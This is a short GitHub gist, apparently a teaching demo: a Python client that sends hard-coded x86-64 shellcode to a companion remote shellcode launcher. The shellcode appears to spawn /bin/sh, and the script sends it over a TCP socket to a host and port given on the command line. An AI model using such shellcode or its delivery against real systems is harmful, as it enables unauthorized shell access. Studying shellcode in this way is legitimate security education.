Skip to content

Instantly share code, notes, and snippets.

@Vivek-Ramachandran
Created July 1, 2013 08:26
Show Gist options
  • Select an option

  • Save Vivek-Ramachandran/5899234 to your computer and use it in GitHub Desktop.

Select an option

Save Vivek-Ramachandran/5899234 to your computer and use it in GitHub Desktop.
Demo.py -- Client side of RemoteShellcodeLauncher.c
#!/usr/bin/python
import sys, socket
shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM,0)
sock.connect((sys.argv[1], int(sys.argv[2])))
sock.send(shellcode)
sock.close()
print "Shellcode of Len: %d sent!\n", len(shellcode)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment